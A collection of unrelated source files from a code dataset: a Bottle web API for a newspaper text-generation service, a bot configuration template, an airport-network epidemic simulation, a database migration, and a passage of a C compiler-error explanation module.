+{"seq_id":"45973763","text":"import json\nimport logging.handlers\nimport os\nfrom typing import Callable, Dict, List, Optional, Tuple\n\nimport bottle\nfrom bottle import TEMPLATE_PATH, Bottle, request, response, run\n\nfrom reporter.newspaper_nlg_service import NewspaperNlgService\n\n#\n# START INIT\n#\n\n# Logging\nlog = logging.getLogger(\"root\")\nlog.setLevel(logging.DEBUG)\n\nformatter = logging.Formatter(fmt=\"%(asctime)s - %(levelname)s - %(module)s - %(message)s\")\n\nstream_handler = logging.StreamHandler()\nstream_handler.setFormatter(formatter)\nstream_handler.setLevel(logging.INFO)\n\nrotating_file_handler = logging.handlers.RotatingFileHandler(\n \"reporter.log\", mode=\"a\", maxBytes=5 * 1024 * 1024, backupCount=2, encoding=None, delay=0\n)\nrotating_file_handler.setFormatter(formatter)\nrotating_file_handler.setLevel(logging.WARN)\n\nlog.addHandler(stream_handler)\nlog.addHandler(rotating_file_handler)\n\n\n# Bottle\nbottle.BaseRequest.MEMFILE_MAX = 512 * 1024 * 1024 # Allow up to 512MB requests\napp = Bottle()\nservice = NewspaperNlgService(random_seed=4551546)\nTEMPLATE_PATH.insert(0, os.path.dirname(os.path.realpath(__file__)) + \"/../views/\")\nstatic_root = os.path.dirname(os.path.realpath(__file__)) + \"/../static/\"\n\n#\n# END INIT\n#\n\nFORMATS = [\"p\", \"ol\", \"ul\"]\n\n\ndef allow_cors(func: Callable) -> Callable:\n \"\"\" this is a decorator which enable CORS for specified endpoint \"\"\"\n\n def wrapper(*args, **kwargs):\n response.headers[\"Access-Control-Allow-Origin\"] = \"*\"\n return func(*args, **kwargs)\n\n return wrapper\n\n\ndef generate(language: str, format: str = None, data: str = None, links: bool = False) -> Tuple[str, str, List[str]]:\n return service.run_pipeline(language, format, data, links)\n\n\n@app.route(\"/api/report/json\", method=\"POST\")\n@allow_cors\ndef api_generate_json() -> Optional[Dict[str, str]]:\n body = json.loads(request.body.read())\n language = body[\"language\"]\n format = body[\"format\"]\n links = body.get(\"links\", False)\n data = json.dumps(body[\"data\"])\n\n if language not in service.get_languages() or format not in FORMATS:\n response.status = 400\n return\n\n header, body, errors = generate(language, format, data, links)\n output = {\"language\": language, \"head\": header, \"body\": body}\n if errors:\n output[\"errors\"] = errors\n return output\n\n\n@app.route(\"/api/report\", method=\"POST\")\n@allow_cors\ndef api_generate() -> Optional[Dict[str, str]]:\n language = request.forms.get(\"language\")\n format = request.forms.get(\"format\")\n data = request.forms.get(\"data\")\n links = request.forms.get(\"links\", \"\") == \"true\"\n\n if language not in service.get_languages() or format not in FORMATS:\n response.status = 400\n return\n\n header, body, errors = generate(language, format, data, links)\n output = {\"language\": language, \"head\": header, \"body\": body}\n if errors:\n output[\"errors\"] = errors\n return output\n\n\n@app.route(\"/api/languages\")\n@allow_cors\ndef get_languages() -> Dict[str, List[str]]:\n return {\"languages\": service.get_languages()}\n\n\n@app.route(\"/api/formats\")\n@allow_cors\ndef get_formats() -> Dict[str, List[str]]:\n return {\"formats\": FORMATS}\n\n\ndef main() -> None:\n log.warning(\"Starting server at 8080\")\n run(app, server=\"meinheld\", host=\"0.0.0.0\", port=8080)\n log.warning(\"Stopping\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"480771417","text":"# Configuration file\n\n# Bot token\nbot_token = 'bot token here'\nbotAdminID = 123456789\n\n# Orario\nlist_url = 'https://gestionedidattica.unipd.it/PortaleStudenti/combo_call.php'\norario_url = 'https://gestionedidattica.unipd.it/PortaleStudenti/grid_call.php'\n\n# File locations\nglobal_path = '/path/to/this/folder/'\ndb_path = 'database/database.db'\ncaptions_path = 'database/languages/'\norario_path = 'database/orario/'\n\n# User lang\nsupported_languages = ['it', 'gb']\ndefault_language = 'it'\n\nsub_commands = [\n # Biblioteca\n \"bibliodiritto\", \"filosofia\", \"ingegneria\", \"someda\", \"maldura\", \"matematica\", \"storia\", \"metelli\", \"pinali\", \"caborin\", \"cuzabarella\", \"universitaria\",\n \"bibliochimica\", \"agribiblio\", \"bibliogeo\", \"sangaetano\", \"liviano\", \"bibliofarmacia\",\n # Mensa\n \"sanfrancesco\", \"piovego\", \"agripolis\", \"acli\", \"belzoni\", \"murialdo\", \"forcellini\",\n # Aulastudio\n \"jappelli\", \"pollaio\", \"titolivio\", \"galilei\", \"marsala\", \"viavenezia\", \"vbranca\", \"reset\", \"aulaSanGaetano\",\n # Udupadova\n \"faqlibretto\", \"erasmus\", \"controguida\", \"cambiocorso\", \"assembleaudu\", \"sedeudu\",\n # Dirittostudio\n \"borse\", \"tasse\", \"200ore\", \"informami\"]\n","sub_path":"config-default.py","file_name":"config-default.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"539693311","text":"#%%\ndef is_running_from_ipython():\n from IPython import get_ipython\n return get_ipython() is not None\n\nnotebook = is_running_from_ipython()\nimport networkx as nx\nimport numpy as np\nimport pandas as pd\nfrom pathlib import Path\nfrom datetime import datetime\nimport matplotlib as mpl\nmpl.rcParams['figure.dpi'] = 150\nmpl.rcParams['savefig.dpi'] = 150\nimport matplotlib.pyplot as plt\nif not notebook:\n plt.switch_backend('agg')\nfrom tqdm import tqdm\nimport random\nfrom collections import OrderedDict,defaultdict,Counter\nimport multiprocessing as mp\nfrom functools import partial\nfrom scipy.stats import spearmanr\nimport si_animator\n\n#%%\nevent_file = Path(__file__).parent/ 'events_US_air_traffic_GMT.txt'\n\ndf = pd.read_csv(event_file,sep=' ')\n\n# df['StartTime'] = pd.to_datetime(df['StartTime'],unit='s')\n# df['EndTime'] = pd.to_datetime(df['EndTime'],unit='s')\n\n# set a unique identifier\ndf['Uid'] = df.index\n# melt the start and endtype into a 2 new columns\ndf = df.melt(id_vars=['Uid','Source','Destination','Duration'],var_name='Type',value_name='time')\n# set the index to Uid and Type\ndf = df.set_index(['Uid','Type'])\n# now sort by the times\ndf = df.sort_values(by='time')\ndf['infected'] = False\ndf.head()\n\n# %%\n \n\ndef run_sim(seed,p,x,immune=[]):\n #keep dict of infection times of nodes\n infection_times ={}\n # init with departure of first flight\n infection_times[seed] =df.iloc[0]['time']\n possible_infection = set()\n infection_links = []\n for (uid,time_type), event in df.iterrows():\n source = event['Source']\n dest = event['Destination']\n time = event['time']\n \n # If it is departure time\n if time_type == 'StartTime':\n # if starting node is infected at time of departure\n if source in infection_times :\n # keep track of possible infection\n possible_infection.add(uid)\n \n # if its arrival time\n else:\n if uid in possible_infection and dest not in infection_times and dest not in immune :\n if random.random() < p:\n infection_times[dest] = time\n infection_links.append(tuple(sorted([source,dest])))\n \n times = sorted(list(infection_times.values()))\n N = len(df.Source.unique())\n count =[]\n for i,t in enumerate(x):\n where = np.argwhere(times < t)\n if len(where):\n count.append(where[-1][0]+1)\n else:\n count.append(0)\n count = np.array(count)\n avg_count = count/N\n return infection_times,avg_count,infection_links\n\n# a function that takes in a dummy input and function and just executes that function\n# This is needed as parallel code requires a function that takes in an input\ndef f(_,func):\n return func()\n\n# a wrapper that takes in a function and return a function with an extra input\ndef wrapper_parallel(func):\n return partial(f,func=func)\n\n#%%\nif __name__ == \"__main__\":\n cpu_count = mp.cpu_count()\n first = df.iloc[0].time\n last = df.iloc[-1].time\n \n nw_file = Path(__file__).parent/\"aggregated_US_air_traffic_network_undir.edg\"\n network = nx.read_weighted_edgelist(str(nw_file))\n num_nodes = network.number_of_nodes()\n x = np.linspace(first,last,100)\n convert = lambda x : datetime.utcfromtimestamp(x).strftime(\"%d/%m/%y\\n%H:%M:%S\")\n df.infected = False\n print(\"\\nStarting Task 1: Anchorage\")\n infection_times,avg_count,_ = run_sim(0,1,x)\n\n print(f\"Anchorage get's infected at : {infection_times[41]} => {convert(infection_times[41])}\")\n#%% [markdown]\n # # TASK 2 a)\n print(\"\\nStarting Task 2a) Prevalance vs p\")\n p_val = [0.01,0.05,0.1,0.5,1]\n fig,ax = plt.subplots(1,1)\n prevalence_dict ={}\n for p in tqdm(p_val):\n t =[]\n partial_func = partial(run_sim,seed=0,p=p,x=x)\n partial_parallel = wrapper_parallel(partial_func)\n with mp.Pool(processes=cpu_count) as pool:\n for infection_times,avg_count,_ in tqdm(pool.imap_unordered(\n partial_parallel,\n range(10)\n ),total=10):\n t.append(avg_count)\n t = np.array(t)\n prevalence = t.mean(axis=0)\n prevalence_dict[p] = prevalence\n ax.plot(x,prevalence,label =f\"p={p}\")\n\n plt.xlabel('Time')\n plt.ylabel('Prevalance')\n plt.title(\"Plot of Prevalance for different values of $p$\")\n plt.xticks(x[::10],[convert(t) for t in x[::10]],rotation=0,fontsize='x-small')\n plt.legend()\n plt.tight_layout()\n plt.savefig ('prevalance_vs_p.png')\n\n#%% [markdown]\n # #Task 2b)\n convert_alt = lambda x : datetime.utcfromtimestamp(x).strftime(\"%d/%m/%y %H:%M:%S\")\n print(\"\\nSaving plots for Task 2b) Prevalence steps\")\n steps = [9,12,19,22,29,32,39,42]\n fig,ax = plt.subplots(1,1)\n [ax.plot(x,v,label=k) for k,v in prevalence_dict.items()]\n plt.vlines([x[i] for i in steps],0,1,linestyles='dotted',alpha=0.5)\n plt.xticks([x[i] for i in steps],[convert_alt(x[i]) for i in steps],rotation=90)\n plt.xlabel('Time')\n plt.ylabel('Prevalance')\n plt.title(\"Analysis of steps in prevalance\")\n plt.tight_layout()\n plt.savefig('prevalance_vs_p_analysis.png')\n#%% [markdown]\n # # TASK 3\n print(\"\\nStarting Task 3: Effect of seed node\")\n seed_nodes = {0:'ABE',4:'ATL',41:'ACN',100:'HSV',200:'DBQ'}\n p =0.1\n s_prevalance_dict ={}\n fig,ax = plt.subplots(1,1)\n for s in tqdm(seed_nodes,total=len(seed_nodes)):\n t =[]\n partial_func = partial(run_sim,seed=s,p=p,x=x)\n partial_parallel = wrapper_parallel(partial_func)\n with mp.Pool(processes=cpu_count) as pool:\n for infection_times,avg_count,_ in tqdm(pool.imap_unordered(\n partial_parallel,\n range(10)\n ),total=10):\n t.append(avg_count)\n t = np.array(t)\n prevalence = t.mean(axis=0)\n ax.plot(x,prevalence,label =f\"seed={s}:{seed_nodes[s]}\")\n\n plt.xlabel('Time')\n plt.ylabel('Prevalance')\n plt.title(\"Plot of Prevalance for different seed nodes\")\n plt.xticks(x[::10],[convert(t) for t in x[::10]],rotation=0,fontsize='x-small')\n plt.legend()\n plt.tight_layout()\n plt.savefig('prevalance_vs_seed.png')\n plt.clf()\n#%% [markdown]\n # # Median infection times\n print(\"\\nStarting Task 4a): Where to hide\")\n\n node_times = {k:[] for k in network}\n num_seeds = 50\n random_seeds = np.random.choice(range(num_nodes),num_seeds,replace=False)\n with mp.Pool(processes=cpu_count) as pool:\n partial_func = partial(run_sim,p=0.5,x=x)\n for infection_times,avg_count,_ in tqdm(\n pool.imap_unordered(\n partial_func,\n random_seeds\n )\n ,total=num_seeds\n ):\n for n,v in infection_times.items():\n node_times[str(n)].append(v)\n \n # function that sorts dict by it's key treated as an int\n sort_dict = lambda d : dict(sorted(d.items(),key=lambda x: int(x[0])))\n\n median_infection = {k:np.median(v) for k,v in node_times.items()}\n median_infection = sort_dict(median_infection)\n\n clustering_coef = sort_dict(nx.clustering(network))\n degrees = sort_dict(dict(nx.degree(network)))\n strengths = sort_dict(dict(nx.degree(network,weight='weight')))\n betweenness = sort_dict(nx.betweenness_centrality(network))\n\n\n ticks = np.linspace(\n min(median_infection.values()),\n max(median_infection.values()),\n 10,\n endpoint=True\n )\n tick_labels = [convert(i) for i in ticks]\n#%%\n\n plt.scatter(clustering_coef.values(),median_infection.values(),s=1);\n plt.xlabel(\"Clustering Coefficient\")\n plt.ylabel(\"Median Infection Times\")\n plt.title(\"Median infection times vs Clustering Coeff\")\n plt.yticks(ticks,tick_labels)#,fontsize='xx-small')\n plt.tight_layout()\n plt.savefig('median_vs_clustering.png')\n plt.clf()\n # %%\n plt.scatter(degrees.values(),median_infection.values(),s=1);\n plt.xscale('log')\n plt.xlabel(\"Node Degrees\")\n plt.ylabel(\"Median Infection Times\")\n plt.title(\"Median infection times vs Degrees\")\n plt.yticks(ticks,tick_labels,fontsize='small')\n plt.tight_layout()\n plt.savefig('median_vs_degrees.png')\n plt.clf()\n # %%\n plt.scatter(strengths.values(),median_infection.values(),s=1);\n plt.xscale('log')\n plt.xlabel(\"Node Strengths\")\n plt.ylabel(\"Median Infection Times\")\n plt.title(\"Median infection times vs Strength\")\n plt.yticks(ticks,tick_labels,fontsize='small')\n plt.tight_layout()\n plt.savefig('median_vs_strength.png')\n plt.clf()\n # %%\n plt.scatter(betweenness.values(),median_infection.values(),s=1);\n plt.xlabel(\"Betweeness centrality of nodes\")\n plt.ylabel(\"Median Infection Times\")\n plt.title(\"Median infection times vs Betweeness\")\n plt.yticks(ticks,tick_labels)#,fontsize='xx-small')\n plt.tight_layout()\n plt.savefig('median_vs_betweenness.png')\n\n plt.clf()\n\n#%% [markdown]\n# # Task 4b \n print(\"\\nStarting Task 4a): Where to hide\")\n\n rho_cluster, p_cluster = spearmanr(list(clustering_coef.values()),list(median_infection.values()))\n rho_degree,p_degree = spearmanr(list(degrees.values()),list(median_infection.values()))\n rho_strength,p_strength = spearmanr(list(strengths.values()),list(median_infection.values()))\n rho_betweenenss,p_betweeness = spearmanr(list(betweenness.values()),list(median_infection.values()))\n\n print(f\"Clustering Coefficient and Median Infection Times:\\n\\t Spearman Correlation: {rho_cluster} \\n\\t p-value:{p_cluster:.7f}\\n \")\n print(f\"Degree and Median Infection Times:\\n\\t Spearman Correlation: {rho_degree} \\n\\t p-value:{p_degree:.7f}\\n \")\n print(f\"Strength and Median Infection Times:\\n\\t Spearman Correlation: {rho_strength} \\n\\t p-value:{p_strength:.7f}\\n \")\n print(f\"Betweeness and Median Infection Times:\\n\\t Spearman Correlation: {rho_betweenenss} \\n\\t p-value:{p_betweeness:.7f}\\n \")\n\n#%% [markdown]\n# # Task 5\n print(\"\\nStarting Task 5\")\n immune_nodes = defaultdict(list)\n immune_nodes['clustering coefficient'] = sorted(clustering_coef,key=clustering_coef.get,reverse=True)[:10]\n immune_nodes['degree'] = sorted(degrees,key=degrees.get,reverse=True)[:10]\n immune_nodes['strength'] = sorted(strengths,key=strengths.get,reverse=True)[:10]\n immune_nodes['betweeness'] = sorted(betweenness,key=betweenness.get,reverse=True)[:10]\n immune_nodes['random'] = np.random.choice(range(num_nodes),replace=False,size=10)\n # keep sampling till 10 different immune nodes are selected\n while len(immune_nodes['social']) <10:\n sample = np.random.choice(range(num_nodes))\n neighbors = list(network.neighbors(str(sample)))\n immune_sample = np.random.choice(neighbors)\n if immune_sample not in immune_nodes['social']:\n immune_nodes['social'].append(immune_sample)\n \n\n # function to convert string list to int list \n str_to_int = lambda x : [int(i) for i in x ]\n\n # convert all immune node to int\n immune_nodes = {k:str_to_int(v) for k,v in immune_nodes.items()}\n all_immune_nodes = np.array(list(immune_nodes.values())).flatten()\n non_immune_nodes = set(range(num_nodes)) - set(all_immune_nodes)\n seed_nodes = np.random.choice(list(non_immune_nodes),20,replace=False)\n\n p = 0.5\n fig,ax = plt.subplots(1,1)\n for strategy in tqdm(immune_nodes,total=len(immune_nodes)):\n t = []\n partial_func = partial(run_sim,p=p,x=x,immune=immune_nodes[strategy])\n with mp.Pool(processes=cpu_count) as pool:\n for infection_times,avg_count,_ in tqdm(\n pool.imap_unordered(partial_func,seed_nodes)\n ,total=len(seed_nodes)):\n t.append(avg_count)\n \n t = np.array(t)\n prevalence = t.mean(axis=0)\n ax.plot(x,prevalence,label =f\"{strategy}\")\n \n plt.xlabel('Time')\n plt.ylabel('Prevalance')\n plt.title(\"Plot of Prevalance for different immunization strategies\")\n plt.xticks(x[::10],[convert(t) for t in x[::10]],rotation=0,fontsize='x-small')\n plt.legend()\n plt.tight_layout()\n plt.savefig('prevalance_vs_immune.png')\n plt.clf()\n#%%\n print(\"\\nStarting Task 6\")\n infected_links =[]\n num_seeds = 20\n random_seeds = np.random.choice(range(num_nodes),num_seeds,replace=False)\n with mp.Pool(processes=cpu_count) as pool:\n partial_func = partial(run_sim,p=0.5,x=x)\n for _,_,links in tqdm(\n pool.imap_unordered(\n partial_func,\n random_seeds\n )\n ,total=num_seeds\n ):\n infected_links.extend(links)\n \n links_count = Counter(infected_links)\n link_fractions = {(str(a),str(b)):v/num_seeds for (a,b),v in links_count.items()}\n\n csv_path = Path(__file__).parent / \"US_airport_id_info.csv\"\n id_data = np.genfromtxt(csv_path, delimiter=',', dtype=None, names=True,encoding='utf-8')\n xycoords = {}\n for row in id_data:\n xycoords[str(row['id'])] = (row['xcoordviz'], row['ycoordviz'])\n\n # linewidths for plotting\n lw_list =[]\n edgelist =[]\n for (u,v) ,fr in link_fractions.items(): \n lw_list.append(fr)\n if (u,v) not in network.edges:\n edgelist.append((v,u)) # edgelist created to maintain the right order\n else:\n edgelist.append((u,v))\n fig,ax = si_animator.plot_network_usa(network, xycoords, edges=edgelist, linewidths=lw_list)\n ax.set_title(\"Infection Links Plot\")\n fig.savefig('infected_links.png')\n\n # get the MST edges\n mst_edges = [ (u,v) for u,v,_ in nx.maximum_spanning_edges(network)]\n fig,ax = si_animator.plot_network_usa(network, xycoords, edges=mst_edges)\n ax.set_title(\"Maximal Spanning Tree\")\n fig.savefig('maximal_spanning_tree.png')\n\n plt.clf()\n link_weights = [network.edges[u,v]['weight'] for u,v in link_fractions]\n plt.scatter(link_weights,link_fractions.values(),s=1)\n plt.title(r\"Link infection fraction $f_{ij}$ vs link weights\")\n plt.xlabel(\"Link weights\")\n plt.ylabel(r\"Link infection fraction $f_{ij}$\")\n plt.savefig('fraction_weights.png')\n\n edge_betweeneess = nx.edge_betweenness(network)\n link_betweeness = []\n for u,v in link_fractions:\n if (u,v) not in edge_betweeneess:\n link_betweeness.append(edge_betweeneess[(v,u)]) \n else:\n link_betweeness.append(edge_betweeneess[(u,v)]) \n \n plt.clf()\n plt.scatter(link_betweeness,link_fractions.values(),s=1)\n plt.title(r\"Link infection fraction $f_{ij}$ vs link betweeness\")\n plt.xlabel(\"Link betweeness\")\n plt.ylabel(r\"Link infection fraction $f_{ij}$\")\n plt.savefig('fraction_betweeness.png')\n\n\n rho_weight, p_weight = spearmanr(list(link_fractions.values()),link_weights)\n rho_link_bet, p_link_bet = spearmanr(list(link_fractions.values()),link_betweeness)\n\n print(f\"Link Weight and Link infection fraction:\\n\\t Spearman Correlation: {rho_weight} \\n\\t p-value:{p_weight:.7f}\\n \")\n print(f\"Betweeness and Link infection fraction:\\n\\t Spearman Correlation: {rho_link_bet} \\n\\t p-value:{p_link_bet:.7f}\\n \")\n\n# %%\n","sub_path":"Project/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"384586687","text":"\"\"\"Add location of article to Article\n\nRevision ID: 26504fab61aa\nRevises: 4965aa405f8d\nCreate Date: 2015-09-27 13:36:19.310397\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '26504fab61aa'\ndown_revision = '4965aa405f8d'\nbranch_labels = None\ndepends_on = None\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\ndef upgrade():\n op.add_column('articles', sa.Column('location', sa.String(), nullable=True))\n\ndef downgrade():\n op.drop_column('articles', 'location')\n","sub_path":"lv9/models/alembic/versions/26504fab61aa_add_location_of_article_to_article.py","file_name":"26504fab61aa_add_location_of_article_to_article.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"136621653","text":"#!/usr/bin/env python3\n\nimport copy, re, sys\nimport colors\n\nDEFAULT_EXPLANATION_URL = \"https://comp1511unsw.github.io/dcc/\"\n\ndef get_explanation(message, colorize_output):\n\tfor e in explanations:\n\t\ttext = e.get(message, colorize_output)\n\t\tif text:\n\t\t\te = copy.deepcopy(e)\n\t\t\te.text = text\n\t\t\treturn e\n\treturn None\n\t\n\n#\n# label - unique identifier, used as file name\n#\n# regex - if set, matched against text, if match fails no explanation is returned\n#\n# precondition - if callable, it is called with message and regex match results as arguments\n# if value returned is False, no explanation is returned\n# if value returned is non-empty string and explanation is not set\n# the value is returned as explanation \n# \n# explanation - if explanation is callable, it is called with message and regex match results as arguments\n# and value returned as explanation\n# if explanation is a string, it is evaluated as f-string with the fields from the message object\n# available as local variables, and the result return as the explanation\n#\n# show_note - print the note (if any) on a clang warning\n#\n# no_following_explanations - if True, don't print explanations after this one\n# use where confusing parasitic errors likely\n#\n# reproduce - C program which should yield explanation\n\nclass Explanation():\n\n\tdef __init__(self, label=None, precondition=None, regex=None, explanation=None, no_following_explanations=False, show_note=True, reproduce='', long_explanation=False, long_explanation_url=''):\n\t\tself.label = label\n\t\tself.precondition = precondition\n\t\tself.regex = regex\n\t\tself.explanation = explanation\n\t\tself.no_following_explanations = no_following_explanations\n\t\tself.show_note = show_note\n\t\tself.reproduce = reproduce\n\t\tself.long_explanation = long_explanation\n\t\tself.long_explanation_url = long_explanation_url\n\n\tdef get(self, message, colorize_output):\n\t\texplanation = self.get_short_explanation(message, colorize_output)\n\t\tif explanation and (self.long_explanation or self.long_explanation_url):\n\t\t\turl = self.long_explanation_url or DEFAULT_EXPLANATION_URL + self.label + '.html'\n\t\t\texplanation += \"\\n See more information here: \" + url\n\t\treturn explanation\n\n\tdef get_short_explanation(self, message, colorize_output):\n\t\tmatch = None\n\t\tif self.regex:\n\t\t\tmatch = re.search(self.regex, \"\\n\".join(message.text_without_ansi_codes), flags=re.I|re.DOTALL)\n\t\t\tif not match:\n\t\t\t\treturn None\n\n\t\tif hasattr(self.precondition, '__call__') :\n\t\t\tr = self.precondition(message, match)\n\t\t\tif not r:\n\t\t\t\treturn None\n\t\t\tif isinstance(r, str) and not self.explanation:\n\t\t\t\treturn r\n\n\t\tif hasattr(self.explanation, '__call__'):\n\t\t\treturn self.explanation(message, match)\n\t\t\t\n\t\tif colorize_output:\n\t\t\tcolor = colors.color\n\t\telse:\n\t\t\tcolor = lambda text, color_name: text\n\n\t\tparameters = dict((name, getattr(message, name)) for name in dir(message) if not name.startswith('__'))\n\t\tparameters['match'] = match\n\t\tparameters['color'] = color\n\t\tparameters['emphasize'] = lambda text: color(text, 'red')\n\t\treturn eval('f\"' + self.explanation.replace('\\n', '\\\\n') +'\"', globals(), parameters)\n\nexplanations = [\n\n\tExplanation(\n\t\tlabel = 'two_main_functions',\t\n\t\t\n\t\tregex = r'multiple definition of \\W*main\\b',\n\t\t\t\n\t\texplanation = \"Your program contains more than one main function - a C program can only contain one main function.\",\n\t\t\n\t\treproduce = \"\"\"\n// hack to get 2 main functions compiled in separate files\n//dcc_flags=$src_file\nint main(void) {\n}\n\"\"\"\n\t),\n\t\n\n\tExplanation(\n\t\tlabel = 'no_main_function',\t\n\t\t\n\t\tregex = r'undefined reference to \\W*main\\b',\n\t\t\t\n\t\texplanation = \"Your program does not contain a main function - a C program must contain a main function.\",\n\t\t\n\t\treproduce = \"\"\"\n\"\"\"\n\t),\n\t\n\n\tExplanation(\n\t\tlabel = 'scanf_missing_ampersand',\t\n\t\t\n\t\tregex = r\"format specifies type '(?Pint|double) \\*' but the argument has type '(?P=type)'\",\n\t\t\t\n\t\texplanation = \"Perhaps you have forgotten an '&' before '{emphasize(highlighted_word)}' on line {line_number}.\",\n\t\t\n\t\treproduce = \"\"\"\n#include \n\nint main(void) {\n\tint i;\n\tscanf(\"%d\", i);\n}\n\"\"\"\n\t),\n\n\t\n\tExplanation(\n\t\tlabel = 'format_type_mismatch',\t\n\t\t\n\t\tregex = r\"format specifies type '[^:]+' but the argument has type '[^:]+'\",\n\t\t\t\n\t\texplanation = \"make sure you are using the correct format code (e.g., `%d` for integers, `%lf` for floating-point values) in your format string on line {line_number}\",\n\t\t\n\t\treproduce = \"\"\"\n#include \n\nint main(void) {\n\tprintf(\"%d\\n\", \"hello!\");\n}\n\"\"\"\n\t),\n\n\t\n\tExplanation(\n\t\tlabel = 'missing_semicolon_line_before_assert',\t\n\t\t\n\t\tregex = r\"called object type 'int' is not a function or function pointer\",\n\t\t\n\t\texplanation = \"there is probably a syntax error such as missing semi-colon on line {int(line_number) - 1} of {file} or an earlier line\",\n\t\t\n\t\tprecondition = lambda message, match: message.highlighted_word == 'assert',\n\t\t\n\t\treproduce = \"\"\"\n#include \n\nint main(void) {\n\tint i = 10\n\tassert(i == 10);\n}\n\"\"\"\n\t),\n\t\n\tExplanation(\n\t\tlabel = 'assert_without_closing_parenthesis',\t\n\t\t\n\t\tregex = r\"unterminated function-like macro invocation\",\n\t\t\n\t\texplanation = \"it looks like there is a missing closing bracket on the assert on line {line_number} of {file}\",\n\t\t\n\t\tprecondition = lambda message, match: message.highlighted_word == 'assert',\n\t\t\n\t\tno_following_explanations = True,\n\n\t\tshow_note = False,\n\n\t\treproduce = \"\"\"\n#include \n\nint main(int argc, char *argv[]) {\n\tassert(argc == 1;\n}\n\"\"\"\n\t),\n\t\n\tExplanation(\n\t\tlabel = 'double_int_literal_conversion',\t\n\t\t\n\t\tregex = r\"implicit conversion from 'double' to 'int'\",\n\t\t\n\t\texplanation = \"you are assigning the floating point number {emphasize(highlighted_word)} to the int variable {emphasize(underlined_word)} , if this is what you want, change {emphasize(highlighted_word)} to {emphasize(truncate_number(highlighted_word))}\",\n\t\t\n\n\t\treproduce = \"\"\"\nint main(int argc, char *argv[]) {\n\tint i = 6.7;\n}\n\"\"\"\n\t),\n\t\n\tExplanation(\n\t\tlabel = 'assign_to_multidimensional_array',\n\t\t\n\t\tregex = r\"array type .*?\\]\\[.* is not assignable\",\n\t\t\n\t\texplanation = \"\"\"you are trying to assign to '{emphasize(underlined_word)}' which is an array.\n You can not assign to a whole array.\n You can use a nested loop to assign to each array element individually.\"\"\",\n\t\t\n\t\treproduce = \"\"\"\nint main(int argc, char *argv[]) {\n\tint a[3][1], b[3][1] = {0};\n\ta = b;\n}\n\"\"\"\n\t),\n\t\n\tExplanation(\n\t\tlabel = 'assign_to_array',\n\t\t\n\t\tregex = r\"array type .*?[^\\]]\\[(\\d+)\\]' is not assignable\",\n\t\t\n\t\texplanation = \"\"\"you are trying to assign to '{emphasize(underlined_word)}' which is an array with {match.group(1)} element{'s' if match.group(1) != '1' else ''}.\n You can not assign to a whole array.\n You can use a loop to assign to each array element individually.\"\"\",\n\t\t\n\t\tlong_explanation = True,\n\t\t\n\t\treproduce = \"\"\"\nint main(void) {\n\tint a[1], b[1] = {0};\n\ta = b;\n}\n\"\"\",\n\t),\n\t\n\tExplanation(\n\t\tlabel = 'stack_use_after_return',\n\t\t\n\t\tregex = r\"address of stack memory associated with local variable '(.*?)' returned\",\n\t\t\n\t\texplanation = \"\"\"you are trying to return a pointer to the local variable '{emphasize(highlighted_word)}'.\n You can not do this because {emphasize(highlighted_word)} will not exist after the function returns.\"\"\",\n\t\t\n\t\tlong_explanation = True,\n\t\t\n\t\treproduce = \"\"\"\nint main(void) {\n\tint i;\n\treturn (int)&i;\n}\n\"\"\",\n\t),\n\t\n\tExplanation(\n\t\tlabel = 'assign_function_to_int',\n\t\t\n\t\tregex = r\"incompatible pointer to integer conversion (assigning to|initializing) '(\\w+)'.*\\(\",\n\t\t\n\t\texplanation = \"\"\"you are attempting to assign {emphasize(underlined_word)} which is a function to an {emphasize(match.group(2))} variable.\nPerhaps you are trying to call the function and have forgotten the round brackets and any parameter values.\"\"\",\n\t\t\n\t\tlong_explanation = True,\n\t\t\n\t\treproduce = \"\"\"\nint main(int argc, char *argv[]) {\n\tint a = main;\n}\n\"\"\",\n\t),\n\t\n\tExplanation(\n\t\tlabel = 'assign_array_to_int',\n\t\t\n\t\tregex = r\"incompatible pointer to integer conversion (assigning to|initializing) '(\\w+)'.*]'\",\n\t\t\n\t\texplanation = \"\"\"you are attempting to assign {emphasize(underlined_word)} which is an array to an {emphasize(match.group(2))} variable.\"\"\",\n\t\t\n\t\treproduce = \"\"\"\nint main(void) {\n\tint a[3][3] = {0};\n\ta[0][0] = a[1];\n}\n\"\"\",\n\t),\n\t\n\tExplanation(\n\t\tlabel = 'assign_pointer_to_int',\n\t\t\n\t\tregex = r\"incompatible pointer to integer conversion (assigning to|initializing) '(\\w+)'\",\n\t\t\n\t\texplanation = \"\"\"you are attempting to assign {emphasize(underlined_word)} which is not an {emphasize(match.group(2))} to an {emphasize(match.group(2))} variable.\"\"\",\n\t\t\n\t\treproduce = \"\"\"\nint main(int argc, char *argv[]) {\n\tint a;\n\ta = &a;\n}\n\"\"\",\n\t),\n\tExplanation(\n\t\tlabel = 'missing_library_include',\n\t\t\n\t\tregex = r\"implicitly declaring library function '(\\w+)'\",\n\t\t\n\t\texplanation = \"\"\"You are calling the function {emphasize(match.group(1))} on line {line_number} of {file} but dcc does not recognize {emphasize(match.group(1))} as a function\nbecause you have forgotten to {emphasize('#include <' + extract_system_include_file(note) + '>')}\n\"\"\",\n\t\tshow_note = False,\n\t\t\n\t\treproduce = \"\"\"\nint main(int argc, char *argv[]) {\n\tprintf(\"hello\");\n}\n\"\"\",\n\t),\n\t\n\tExplanation(\n\t\tlabel = 'misspelt_printf',\n\t\t\n\t\tregex = r\"implicit declaration of function '(print.?.?)' is invalid in C99\",\n\t\t\n\t\texplanation = \"\"\"you are calling a function named {emphasize(match.group(1))} on line {line_number} of {file} but dcc does not recognize {emphasize(match.group(1))} as a function.\nMaybe you meant {emphasize('printf')}?\n\"\"\",\n\t\tno_following_explanations = True,\n\t\t\n\t\treproduce = 